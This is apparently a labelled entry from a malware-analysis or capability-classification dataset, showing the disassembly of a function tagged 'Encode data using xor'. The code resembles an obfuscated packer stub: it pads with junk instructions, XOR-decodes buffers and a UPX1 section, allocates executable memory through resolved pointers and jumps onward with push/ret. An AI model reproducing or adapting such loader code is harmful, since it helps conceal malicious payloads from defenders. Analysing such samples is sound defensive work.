Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x628b8d92
add ecx, 0x19d777a9
add ecx, 0x667b4dbb
sub ecx, ebx
popal
dec ecx
sub ecx, ebx
mov edx, 0
mov esi, ecx
sub eax, edi
mov edi, eax
dec edi
mov ebx, esi
inc eax
and eax, edi
sub edi, 0xf1b2a2c4
mov ecx, ebx
mov eax, edi
not eax
inc edx
not edi
and edi, edi
mov edi, 0x76e54b5
cmp edx, 0x100555f
jne 0xa789c9
mov edi, 0x290ceee7
not edi
and ecx, ecx
sub ebx, 1
mov edx, 0xa78796
not edi
add ebx, 0x2bae8df5
mov ecx, 0xa7898a
and esi, edi
sub edi, esi
mov eax, dword [edx]
not esi
inc ebx
and eax, 0xff
add edi, 0x9ba3e10
add esi, 1
xor dword [ecx], eax
add esi, edi
and edi, ebx
add esi, edi
inc ecx
add esi, 0xd4dc740f
mov esi, 0xe0319a80
mov ebx, 0x54e8ca83
add edx, 1
sub esi, 0x14bc8895
sub ebx, esi
cmp ecx, entry0
jl 0xa78a1c
inc esi
mov ebx, 0xcf1a15f3
sub ebx, 0xcfc11e2a
sub edi, ebx
or ecx, esi
mov ebx, 0x62ea8097
not ebx
mov edx, 0xa7898e
add esi, 1
sub esi, ebx
mov ecx, ebx
mov edx, dword [edx]
sub edi, 0xd4bb1ac8
dec esi
mov edx, dword [edx]
not ebx
sub ebx, 0xda3512f2
sub ecx, edi
push edx
inc ecx
or ecx, edi
dec esi
mov edx, 0xa7898a
or ebx, edi
not edi
mov edx, dword [edx]
mov ebx, 0x556f3a5c
mov ecx, edi
sub edi, 0xcd0d7356
mov edx, dword [edx]
or edi, ecx
dec esi
sub esp, 4
mov dword [esp], 0xa78992
sub edi, 0xc3b00510
add ebx, esi
or esi, ebx
call edx
or esi, ecx
mov ebx, esi
add edi, 1
pop edx
not edi
or ecx, edi
sub esp, 4
mov dword [esp], 0xa7899f
add edi, 1
sub edi, 0x373e1d40
push eax
dec ebx
add ebx, ecx
call edx
sub ecx, esi
sub ecx, 0x2b0a5ddc
add ebx, 0x5f3f395f
push 0x40
and ebx, ebx
mov edi, 0xbb537341
push 0x3000
add esi, 0x8549c713
sub edi, ebx
add ecx, 0xbee926fd
push 0x20000dbe
mov ebx, 0x614822ea
or edi, edi
sub esp, 4
mov dword [esp], 0
add ebx, 1
sub ebx, 0x1792b0a9
sub edi, 0xb2f9abc2
call eax
or ecx, esi
sub edi, ecx
add edi, 0x7a1f5a7d
add eax, 0x20000d0c
mov esi, 0x2099d5bc
sub ecx, 0x5b2b8624
mov edi, esi
mov edx, 0x5353e42f
add edi, ebx
add ebx, 0xce7119aa
mov dword [eax], edx
add esi, 0x90d070e
dec ecx
dec ecx
mov edx, dword [eax]
not edi
or ecx, esi
cmp edx, 0x5353e42f
je 0xa78ba4
mov ecx, 0
mov byte [ecx], al
mov ecx, edi
mov esi, edi
sub ebx, 0x9b40d57e
mov edi, ebx
mov ecx, ebx
mov ebx, ecx
and ecx, ebx
mov edi, section.UPX1
inc ecx
mov ebx, ecx
mov edx, 0xa78795
add ecx, ebx
sub ecx, ebx
mov eax, 0
and ebx, ebx
mov ecx, ebx
mov esi, 0xa78796
mov ebx, ecx
not ebx
sub ecx, ebx
lea esi, [esi + eax]
dec ecx
mov ebx, 0xc27b88f0
mov esi, dword [esi]
dec ebx
sub ebx, 0xad606572
and esi, 0xff
not ecx
sub ecx, 0x7f7a26a5
inc eax
sub ecx, ebx
add ecx, ecx
cmp eax, 0x1f4
jne 0xa78c0d
mov eax, 0
not ecx
mov ecx, ebx
sub ecx, 0x9bb41e3c
and ecx, ebx
add ebx, 1
xor dword [edi], esi
mov ecx, 0xf147727d
add ecx, 0x2cc041c6
add ecx, ebx
add edi, 2
sub ecx, 0x17b7d263
dec ebx
cmp edi, edx
jl 0xa78bd0
and ecx, ecx
mov ecx, 0x641921c8
sub ebx, 0xf0deeb12
mov ecx, ebx
mov edi, section.UPX1
sub ecx, esi
sub ecx, 0xc333af7d
mov edx, section.UPX1
add esi, 0x264c87bd
and ecx, esi
mov eax, 0xa78795
inc ecx
add esi, 0xd3e0a57
mov ebx, 0
not ecx
and ecx, ecx
mov bl, byte [edx]
not ecx
sub esi, ecx
not esi
mov byte [edi], bl
dec ecx
add esi, esi
inc edi
mov esi, ecx
mov esi, ecx
add edx, 2
sub ecx, 0x2f7c4786
inc ecx
cmp edx, eax
jle 0xa78c81
not esi
mov ecx, esi
sub esi, ecx
or ecx, ebx
and ebx, ebx
push 0x8dc6a0
dec ebx
sub ebx, 0x9d61cbf8
ret